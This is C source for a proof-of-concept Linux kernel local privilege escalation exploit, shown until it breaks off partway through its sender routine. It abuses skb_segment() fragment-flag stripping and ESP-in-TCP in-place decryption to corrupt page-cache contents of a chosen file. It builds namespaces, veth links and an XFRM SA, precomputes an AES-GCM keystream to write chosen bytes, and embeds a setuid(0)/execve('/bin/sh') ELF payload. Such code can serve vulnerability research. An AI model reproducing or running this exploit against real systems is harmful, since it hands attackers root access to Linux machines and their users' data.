fragnesia/fragnesia-5db89c99566fc/skb_segment_exploit.c

// gcc -O2 -Wall -Wextra -std=gnu11 -static -o skb_segment_exploit skb_segment_exploit.c
/*
 * skb_segment_exploit.c — CVE PoC: page-cache corruption via skb_segment()
 *                         SKBFL_SHARED_FRAG stripping + ESP-in-TCP decrypt
 *
 * Fork a sender+receiver pair to trigger one ESP-in-TCP decrypt cycle.
 *
 * Sender (in ns_sender):
 *   1. TCP connect to RECEIVER_ADDR:TCP_PORT
 *   2. send() an espintcp prefix (2-byte len + ESP hdr + IV) — normal data,
 *      no SKBFL_SHARED_FRAG
 *   3. splice() FRAG_LEN bytes from target_file at splice_offset into the
 *      TCP socket — page-cache frags with SKBFL_SHARED_FRAG
 *
 * Receiver (in ns_receiver):
 *   1. TCP accept on RECEIVER_ADDR:TCP_PORT
 *   2. usleep() to let sender queue data
 *   3. setsockopt(TCP_ULP, "espintcp") — triggers ESP processing on
 *      already-queued data
 *
 * The mixed send+splice data traverses:
 *   ns_sender → veth → ns_middle (GRO coalesces, IP forwards, GSO off →
 *   skb_segment strips SKBFL_SHARED_FRAG) → veth → ns_receiver (espintcp
 *   → esp_input skip_cow → in-place AEAD decrypt on page-cache frags)
 *
 * Three-namespace topology for GRO → skb_segment() exploitation:
 *
 *   ns_sender (10.0.1.1)  ←veth_s / veth_m1→  ns_middle (10.0.1.2, 10.0.2.1)
 *                                                 ↕ IP forward, GSO off on veth_m2
 *   ns_receiver (10.0.2.2) ←veth_r / veth_m2→  ns_middle
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <limits.h>
#include <linux/ethtool.h>
#include <linux/if_alg.h>
#include <linux/if_link.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/sockios.h>
#include <linux/udp.h>
#include <linux/veth.h>
#include <linux/xfrm.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

/* ── compat defines ── */

#ifndef TCP_ULP
#define TCP_ULP 31
#endif
#ifndef TCP_ENCAP_ESPINTCP
#define TCP_ENCAP_ESPINTCP 7
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_OP_ENCRYPT
#define ALG_OP_ENCRYPT 1
#endif
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

/* ── network topology addresses ── */

#define SENDER_ADDR   "10.0.1.1"
#define MIDDLE_ADDR1  "10.0.1.2"
#define MIDDLE_ADDR2  "10.0.2.1"
#define RECEIVER_ADDR "10.0.2.2"
#define PREFIX_LEN    24

/* ── ESP / trigger constants ── */

#define TCP_PORT          5556
#define ESP_SPI           0x100
#define FRAG_LEN          4096
#define ESP_GCM_ICV_LEN   16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)

/* ── timing knobs ── */

#define RECEIVER_PRE_ULP_US   50000
#define SENDER_PRE_SPLICE_US  5000
#define RECEIVER_POST_ULP_US  50000

/* ── ANSI colours ── */

#define C_RESET  "\033[0m"
#define C_DIM    "\033[2m"
#define C_RED    "\033[31m"
#define C_CYAN   "\033[36m"
#define C_BRED   "\033[1;31m"
#define C_BGRN   "\033[1;32m"
#define C_BCYN   "\033[1;36m"
#define C_BWHT   "\033[1;97m"

/* ── static constants ── */

/* AES-128-GCM key (16 bytes) + 4-byte salt = 20 bytes total for rfc4106 */
static const unsigned char XFRM_AEAD_KEY[20] = {
	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
	0x01, 0x02, 0x03, 0x04
};

/* LPE payload: 120-byte ET_DYN ELF with overlapping phdr+header.
 * setuid(0) + execve("/bin/sh").  Smaller = fewer trigger cycles.
 * From DirtyDecrypt — fits any PIE binary (ET_DYN, x86_64).
 * PT_LOAD covers 120 bytes; sliding-window damage past offset 120
 * is beyond the loadable segment. */
#define PAYLOAD_LEN 120
static const uint8_t SHELL_ELF[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0xb0,0x69,0x0f,0x05,                     /* setuid(0) */
	0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff,      /* lea rdi, "/bin/sh" */
	0x6a,0x3b,0x58,                           /* push 59; pop rax */
	0x0f,0x05,                                /* execve("/bin/sh", 0, 0) */
};

/* ── topology struct ── */

struct topology {
	pid_t sender_pid;
	pid_t receiver_pid;
};

/* ── trigger params struct ── */

struct trigger_params {
	const char  *target_file;
	loff_t       splice_offset;
	unsigned char esp_iv[8];
	uint32_t     esp_seq;
	pid_t        sender_pid;
	pid_t        receiver_pid;
};

/* ── forward declarations ── */

static int open_ns_fd(pid_t pid);

/* ========================================================================
 * common.h inline helpers
 * ======================================================================== */

static void die(const char *what)
{
	fprintf(stderr, "FATAL: %s: %s\n", what, strerror(errno));
	_exit(2);
}

static void gate_fail(const char *what)
{
	fprintf(stderr, "GATE: %s: errno=%d (%s)\n", what, errno, strerror(errno));
	_exit(4);
}

static void store_be32(unsigned char *p, uint32_t v)
{
	p[0] = (unsigned char)(v >> 24);
	p[1] = (unsigned char)(v >> 16);
	p[2] = (unsigned char)(v >> 8);
	p[3] = (unsigned char)v;
}

static void nl_add_attr(struct nlmsghdr *nlh, size_t maxlen,
			unsigned short type, const void *data, size_t len)
{
	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
	struct nlattr *nla;
	if (off + NLA_HDRLEN + len > maxlen) {
		fprintf(stderr, "nlmsg overflow\n");
		_exit(2);
	}
	nla = (struct nlattr *)((char *)nlh + off);
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + len;
	memcpy((char *)nla + NLA_HDRLEN, data, len);
	nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}

static int nl_check_ack(const void *buf, ssize_t len)
{
	const struct nlmsghdr *nlh;
	for (nlh = (const struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
	     nlh = NLMSG_NEXT(nlh, len)) {
		if (nlh->nlmsg_type == NLMSG_ERROR) {
			struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
			if (err->error == 0) return 0;
			errno = -err->error;
			return -1;
		}
	}
	errno = EPROTO;
	return -1;
}

/* ========================================================================
 * netns.c — namespace topology
 * ======================================================================== */

static void netns_sync_write(int fd)
{
	char c = 'R';
	if (write(fd, &c, 1) != 1)
		die("sync_write");
	close(fd);
}

static void netns_sync_read(int fd)
{
	char c;
	if (read(fd, &c, 1) != 1)
		die("sync_read");
	close(fd);
}

static void write_file(const char *path, const char *data)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		die(path);
	if (write(fd, data, strlen(data)) < 0)
		die(path);
	close(fd);
}

static void enter_userns(void)
{
	uid_t outer_uid = getuid();
	gid_t outer_gid = getgid();
	int ready_pipe[2], mapped_pipe[2], status;
	char map[64];
	pid_t child;

	if (pipe(ready_pipe) < 0)
		die("pipe ready");
	if (pipe(mapped_pipe) < 0)
		die("pipe mapped");

	child = fork();
	if (child < 0)
		die("fork userns");

	if (child > 0) {
		close(ready_pipe[1]);
		close(mapped_pipe[0]);

		netns_sync_read(ready_pipe[0]);

		snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
		{
			char p[128];
			snprintf(p, sizeof(p), "/proc/%ld/uid_map", (long)child);
			write_file(p, map);
			snprintf(p, sizeof(p), "/proc/%ld/setgroups", (long)child);
			write_file(p, "deny\n");
			snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
			snprintf(p, sizeof(p), "/proc/%ld/gid_map", (long)child);
			write_file(p, map);
		}

		netns_sync_write(mapped_pipe[1]);

		if (waitpid(child, &status, 0) < 0)
			die("wait userns child");
		if (WIFEXITED(status))
			_exit(WEXITSTATUS(status));
		if (WIFSIGNALED(status)) {
			fprintf(stderr, "userns child killed by signal %d\n",
				WTERMSIG(status));
			_exit(2);
		}
		_exit(2);
	}

	close(ready_pipe[0]);
	close(mapped_pipe[1]);

	if (unshare(CLONE_NEWUSER) < 0)
		gate_fail("unshare(CLONE_NEWUSER)");

	netns_sync_write(ready_pipe[1]);
	netns_sync_read(mapped_pipe[0]);

	if (setresgid(0, 0, 0) < 0)
		gate_fail("setresgid");
	if (setresuid(0, 0, 0) < 0)
		gate_fail("setresuid");
}

static void bring_loopback_up(void)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		gate_fail("socket for lo");
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		gate_fail("SIOCGIFFLAGS lo");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		gate_fail("SIOCSIFFLAGS lo");
	close(fd);
}

static int rtnl_open(void)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(NETLINK_ROUTE)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		die("bind(NETLINK_ROUTE)");
	return fd;
}

static void rtnl_talk(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	char resp[4096];
	ssize_t ret;

	ret = sendto(fd, nlh, nlh->nlmsg_len, 0,
		     (struct sockaddr *)&sa, sizeof(sa));
	if (ret < 0 || ret != (ssize_t)nlh->nlmsg_len)
		die("rtnl sendto");
	ret = recv(fd, resp, sizeof(resp), 0);
	if (ret < 0)
		die("rtnl recv");
	if (nl_check_ack(resp, ret) < 0)
		gate_fail("rtnl ack");
}

static size_t nl_nest_start(struct nlmsghdr *nlh, unsigned short type)
{
	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
	struct nlattr *nla = (struct nlattr *)((char *)nlh + off);
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN;
	nlh->nlmsg_len = off + NLA_HDRLEN;
	return off;
}

static void nl_nest_end(struct nlmsghdr *nlh, size_t nest_off)
{
	struct nlattr *nla = (struct nlattr *)((char *)nlh + nest_off);
	nla->nla_len = NLMSG_ALIGN(nlh->nlmsg_len) - nest_off;
}

static pid_t spawn_ns_child(void)
{
	int p[2];
	pid_t child;

	if (pipe(p) < 0)
		die("pipe ns_child");

	child = fork();
	if (child < 0)
		die("fork ns_child");

	if (child == 0) {
		close(p[0]);
		if (unshare(CLONE_NEWNET) < 0)
			gate_fail("unshare(CLONE_NEWNET) child");
		bring_loopback_up();
		netns_sync_write(p[1]);
		pause();
		_exit(0);
	}

	close(p[1]);
	netns_sync_read(p[0]);
	return child;
}

static void create_veth_pair(int rtnl_fd, const char *name_a,
			     const char *name_b, pid_t peer_ns_pid)
{
	char buf[4096];
	struct nlmsghdr *nlh;
	struct ifinfomsg *ifi;
	size_t linkinfo_off, data_off, peer_off;

	memset(buf, 0, sizeof(buf));
	nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	ifi = (struct ifinfomsg *)NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;

	nl_add_attr(nlh, sizeof(buf), IFLA_IFNAME, name_a, strlen(name_a) + 1);

	linkinfo_off = nl_nest_start(nlh, IFLA_LINKINFO);
	nl_add_attr(nlh, sizeof(buf), IFLA_INFO_KIND, "veth", 5);

	data_off = nl_nest_start(nlh, IFLA_INFO_DATA);

	peer_off = nl_nest_start(nlh, VETH_INFO_PEER);
	{
		size_t cur = NLMSG_ALIGN(nlh->nlmsg_len);
		struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)nlh + cur);
		memset(peer_ifi, 0, sizeof(*peer_ifi));
		peer_ifi->ifi_family = AF_UNSPEC;
		nlh->nlmsg_len = cur + sizeof(*peer_ifi);
	}
	nl_add_attr(nlh, sizeof(buf), IFLA_IFNAME, name_b, strlen(name_b) + 1);
	if (peer_ns_pid > 0) {
		uint32_t pid32 = (uint32_t)peer_ns_pid;
		nl_add_attr(nlh, sizeof(buf), IFLA_NET_NS_PID, &pid32, sizeof(pid32));
	}
	nl_nest_end(nlh, peer_off);

	nl_nest_end(nlh, data_off);
	nl_nest_end(nlh, linkinfo_off);

	rtnl_talk(rtnl_fd, nlh);
}

static void if_up(int rtnl_fd, const char *ifname)
{
	char buf[512];
	struct nlmsghdr *nlh;
	struct ifinfomsg *ifi;
	unsigned int idx;

	idx = if_nametoindex(ifname);
	if (idx == 0)
		die(ifname);

	memset(buf, 0, sizeof(buf));
	nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 1;

	ifi = (struct ifinfomsg *)NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = idx;
	ifi->ifi_flags = IFF_UP;
	ifi->ifi_change = IFF_UP;

	rtnl_talk(rtnl_fd, nlh);
}

static void add_addr(int rtnl_fd, const char *ifname, const char *addr_str,
		     int prefix_len)
{
	char buf[512];
	struct nlmsghdr *nlh;
	struct ifaddrmsg *ifa;
	struct in_addr addr;
	unsigned int idx;

	if (inet_pton(AF_INET, addr_str, &addr) != 1)
		die("inet_pton");
	idx = if_nametoindex(ifname);
	if (idx == 0)
		die(ifname);

	memset(buf, 0, sizeof(buf));
	nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifa));
	nlh->nlmsg_type = RTM_NEWADDR;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	ifa = (struct ifaddrmsg *)NLMSG_DATA(nlh);
	ifa->ifa_family = AF_INET;
	ifa->ifa_prefixlen = prefix_len;
	ifa->ifa_index = idx;
	ifa->ifa_scope = 0;

	nl_add_attr(nlh, sizeof(buf), IFA_LOCAL, &addr, sizeof(addr));
	nl_add_attr(nlh, sizeof(buf), IFA_ADDRESS, &addr, sizeof(addr));

	rtnl_talk(rtnl_fd, nlh);
}

static void add_default_route(int rtnl_fd, const char *gw_str)
{
	char buf[512];
	struct nlmsghdr *nlh;
	struct rtmsg *rt;
	struct in_addr gw;

	if (inet_pton(AF_INET, gw_str, &gw) != 1)
		die("inet_pton gw");

	memset(buf, 0, sizeof(buf));
	nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*rt));
	nlh->nlmsg_type = RTM_NEWROUTE;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	rt = (struct rtmsg *)NLMSG_DATA(nlh);
	rt->rtm_family = AF_INET;
	rt->rtm_dst_len = 0;
	rt->rtm_table = RT_TABLE_MAIN;
	rt->rtm_protocol = RTPROT_BOOT;
	rt->rtm_scope = RT_SCOPE_UNIVERSE;
	rt->rtm_type = RTN_UNICAST;

	nl_add_attr(nlh, sizeof(buf), RTA_GATEWAY, &gw, sizeof(gw));

	rtnl_talk(rtnl_fd, nlh);
}

static void disable_offloads(const char *ifname)
{
	struct ifreq ifr;
	struct ethtool_value val;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("socket for ethtool");

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);

	memset(&val, 0, sizeof(val));
	val.cmd = ETHTOOL_SGSO;
	val.data = 0;
	ifr.ifr_data = (void *)&val;
	if (ioctl(fd, SIOCETHTOOL, &ifr) < 0)
		gate_fail("ETHTOOL_SGSO off");

	memset(&val, 0, sizeof(val));
	val.cmd = ETHTOOL_STSO;
	val.data = 0;
	ifr.ifr_data = (void *)&val;
	if (ioctl(fd, SIOCETHTOOL, &ifr) < 0)
		gate_fail("ETHTOOL_STSO off");

	memset(&val, 0, sizeof(val));
	val.cmd = ETHTOOL_SGRO;
	val.data = 0;
	ifr.ifr_data = (void *)&val;
	if (ioctl(fd, SIOCETHTOOL, &ifr) < 0)
		gate_fail("ETHTOOL_SGRO off");

	close(fd);
}

static int save_ns_fd(void)
{
	int fd = open("/proc/self/ns/net", O_RDONLY);
	if (fd < 0)
		die("open /proc/self/ns/net");
	return fd;
}

static void enter_ns(pid_t pid)
{
	int fd = open_ns_fd(pid);
	if (setns(fd, CLONE_NEWNET) < 0)
		die("setns");
	close(fd);
}

static void return_to_ns(int fd)
{
	if (setns(fd, CLONE_NEWNET) < 0)
		die("setns back");
	close(fd);
}

static void configure_sender(pid_t sender_pid)
{
	int middle_fd = save_ns_fd();
	int rtnl_fd;

	enter_ns(sender_pid);
	rtnl_fd = rtnl_open();
	add_addr(rtnl_fd, "veth_s", SENDER_ADDR, PREFIX_LEN);
	if_up(rtnl_fd, "veth_s");
	add_default_route(rtnl_fd, MIDDLE_ADDR1);
	close(rtnl_fd);
	return_to_ns(middle_fd);
}

static void configure_receiver(pid_t receiver_pid)
{
	int middle_fd = save_ns_fd();
	int rtnl_fd;

	enter_ns(receiver_pid);
	rtnl_fd = rtnl_open();
	add_addr(rtnl_fd, "veth_r", RECEIVER_ADDR, PREFIX_LEN);
	if_up(rtnl_fd, "veth_r");
	add_default_route(rtnl_fd, MIDDLE_ADDR2);
	close(rtnl_fd);
	return_to_ns(middle_fd);
}

static int open_ns_fd(pid_t pid)
{
	char path[64];
	int fd;

	snprintf(path, sizeof(path), "/proc/%ld/ns/net", (long)pid);
	fd = open(path, O_RDONLY);
	if (fd < 0)
		die(path);
	return fd;
}

static int setup_topology(struct topology *topo)
{
	int rtnl_fd;

	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
		die("prctl PR_SET_DUMPABLE");

	enter_userns();

	if (unshare(CLONE_NEWNET) < 0)
		gate_fail("unshare(CLONE_NEWNET) middle");

	bring_loopback_up();

	topo->sender_pid = spawn_ns_child();
	topo->receiver_pid = spawn_ns_child();

	rtnl_fd = rtnl_open();
	create_veth_pair(rtnl_fd, "veth_m1", "veth_s", topo->sender_pid);
	create_veth_pair(rtnl_fd, "veth_m2", "veth_r", topo->receiver_pid);

	add_addr(rtnl_fd, "veth_m1", MIDDLE_ADDR1, PREFIX_LEN);
	add_addr(rtnl_fd, "veth_m2", MIDDLE_ADDR2, PREFIX_LEN);
	if_up(rtnl_fd, "veth_m1");
	if_up(rtnl_fd, "veth_m2");
	close(rtnl_fd);

	configure_sender(topo->sender_pid);
	configure_receiver(topo->receiver_pid);

	write_file("/proc/sys/net/ipv4/ip_forward", "1");

	disable_offloads("veth_m2");

	return 0;
}

/* ========================================================================
 * xfrm.c — XFRM SA installation
 * ======================================================================== */

static void add_xfrm_espintcp_sa(void)
{
	char reqbuf[4096], resp[4096];
	char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(XFRM_AEAD_KEY)];
	struct sockaddr_nl sa = {
		.nl_family = AF_NETLINK,
	};
	struct xfrm_usersa_info *xs;
	struct xfrm_algo_aead *aead;
	struct xfrm_encap_tmpl encap;
	struct nlmsghdr *nlh;
	ssize_t ret;
	int fd;

	memset(reqbuf, 0, sizeof(reqbuf));
	nlh = (struct nlmsghdr *)reqbuf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
	nlh->nlmsg_type = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	if (inet_pton(AF_INET, RECEIVER_ADDR, &xs->saddr.a4) != 1)
		gate_fail("inet_pton saddr");
	if (inet_pton(AF_INET, RECEIVER_ADDR, &xs->id.daddr.a4) != 1)
		gate_fail("inet_pton daddr");
	xs->id.spi = htonl(ESP_SPI);
	xs->id.proto = IPPROTO_ESP;
	xs->family = AF_INET;
	xs->mode = XFRM_MODE_TRANSPORT;
	xs->reqid = 1;
	xs->lft.soft_byte_limit = XFRM_INF;
	xs->lft.hard_byte_limit = XFRM_INF;
	xs->lft.soft_packet_limit = XFRM_INF;
	xs->lft.hard_packet_limit = XFRM_INF;

	memset(aeadbuf, 0, sizeof(aeadbuf));
	aead = (struct xfrm_algo_aead *)aeadbuf;
	snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
	aead->alg_key_len = sizeof(XFRM_AEAD_KEY) * 8;
	aead->alg_icv_len = 128;
	memcpy(aead->alg_key, XFRM_AEAD_KEY, sizeof(XFRM_AEAD_KEY));
	nl_add_attr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));

	memset(&encap, 0, sizeof(encap));
	encap.encap_type = TCP_ENCAP_ESPINTCP;
	encap.encap_sport = htons(TCP_PORT);
	encap.encap_dport = htons(TCP_PORT);
	nl_add_attr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
	if (fd < 0)
		gate_fail("socket(NETLINK_XFRM)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		gate_fail("bind(NETLINK_XFRM)");

	memset(&sa, 0, sizeof(sa));
	sa.nl_family = AF_NETLINK;
	ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
		     sizeof(sa));
	if (ret < 0)
		gate_fail("sendto XFRM_MSG_NEWSA");
	if (ret != (ssize_t)nlh->nlmsg_len) {
		errno = EIO;
		gate_fail("short sendto XFRM_MSG_NEWSA");
	}

	ret = recv(fd, resp, sizeof(resp), 0);
	if (ret < 0)
		gate_fail("recv XFRM ack");
	if (nl_check_ack(resp, ret) < 0)
		gate_fail("XFRM_MSG_NEWSA ack");
	close(fd);
}

/* ========================================================================
 * keystream.c — AES-GCM keystream table
 * ======================================================================== */

static uint16_t stream0_nonce[256];
static bool stream0_have[256];

static int open_afalg_aes_ecb(void)
{
	struct sockaddr_alg sa = {
		.salg_family = AF_ALG,
	};
	int fd;

	fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("socket(AF_ALG)");

	strcpy((char *)sa.salg_type, "skcipher");
	strcpy((char *)sa.salg_name, "ecb(aes)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		die("bind AF_ALG ecb(aes)");
	if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, XFRM_AEAD_KEY, 16) < 0)
		die("setsockopt AF_ALG key");

	return fd;
}

static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
				     unsigned char out[16])
{
	char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
	struct iovec iov = {
		.iov_base = (void *)in,
		.iov_len = 16,
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = cbuf,
		.msg_controllen = sizeof(cbuf),
	};
	struct cmsghdr *cmsg;
	uint32_t op = ALG_OP_ENCRYPT;
	ssize_t ret;
	int op_fd;

	op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
	if (op_fd < 0)
		die("accept AF_ALG");

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_ALG;
	cmsg->cmsg_type = ALG_SET_OP;
	cmsg->cmsg_len = CMSG_LEN(sizeof(op));
	memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

	ret = sendmsg(op_fd, &msg, 0);
	if (ret != 16)
		die("sendmsg AF_ALG block");
	ret = read(op_fd, out, 16);
	if (ret != 16)
		die("read AF_ALG block");

	close(op_fd);
}

static unsigned char aes_gcm_stream0_byte(int alg_fd,
					  const unsigned char iv[8])
{
	unsigned char counter_block[16], stream[16];

	memcpy(counter_block, &XFRM_AEAD_KEY[16], 4);
	memcpy(counter_block + 4, iv, 8);
	store_be32(counter_block + 12, 2);
	afalg_aes_encrypt_block(alg_fd, counter_block, stream);
	return stream[0];
}

static void build_stream0_table(void)
{
	unsigned char iv[8] = {
		0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
	};
	unsigned int count = 0, nonce;
	int alg_fd;

	alg_fd = open_afalg_aes_ecb();
	for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
		unsigned char b;

		store_be32(iv + 4, nonce);
		b = aes_gcm_stream0_byte(alg_fd, iv);
		if (stream0_have[b])
			continue;
		stream0_have[b] = true;
		stream0_nonce[b] = (uint16_t)nonce;
		count++;
	}
	close(alg_fd);

	if (count != 256) {
		fprintf(stderr,
			"failed to build complete stream-byte table: %u/256\n",
			count);
		_exit(2);
	}
}

static void choose_iv_for_stream0(unsigned char need_stream, unsigned char iv_out[8])
{
	uint16_t nonce = stream0_nonce[need_stream];

	memset(iv_out, 0xcc, 8);
	store_be32(iv_out + 4, nonce);
}

/* ========================================================================
 * trigger.c — sender/receiver trigger
 * ======================================================================== */

static void trigger_enter_netns(pid_t pid)
{
	char path[64];
	int fd;

	snprintf(path, sizeof(path), "/proc/%d/ns/net", (int)pid);
	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open netns");
	if (setns(fd, CLONE_NEWNET) < 0)
		die("setns");
	close(fd);
}

static void trigger_write_ready(int fd)
{
	unsigned char b = 1;
	if (write(fd, &b, 1) != 1)
		die("write_ready");
	close(fd);
}

static void trigger_wait_ready(int fd)
{
	unsigned char b;
	if (read(fd, &b, 1) != 1)
		die("wait_ready");
	close(fd);
}

static void receiver_child(const struct trigger_params *p, int ready_fd)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_port = htons(TCP_PORT),
	};
	char ulp[] = "espintcp";
	int fd, cfd, one = 1;

	trigger_enter_netns(p->receiver_pid);

	inet_pton(AF_INET, RECEIVER_ADDR, &addr.sin_addr);

	fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("receiver socket");
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		die("receiver reuseaddr");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (listen(fd, 1) < 0)
		die("receiver listen");

	trigger_write_ready(ready_fd);

	cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
	if (cfd < 0)
		die("receiver accept");

	usleep(RECEIVER_PRE_ULP_US);
	if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
		die("receiver TCP_ULP espintcp");

	usleep(RECEIVER_POST_ULP_US);
	close(cfd);
	close(fd);
	_exit(0);
}

static void sender_child(const struct trigger_params *p, int ready_fd)
{
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
		.sin_port = htons(TCP_PORT),
	};
	struct {
		__be16 len;
		unsigned char esp[16];
	} prefix;
	int fd, sock, pp[2], one = 1;
	ssize_t ret;
	loff_t off;

	trigger_enter_netns(p->sender_pid);
	trigger_wait_ready(ready_fd);

	inet_pton(AF_INET, RECEIVER_ADDR, &dst.sin_addr);

	fd = open(p->target_file, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("sender open target");

	sock = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (sock < 0)
		die("sender socket");
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
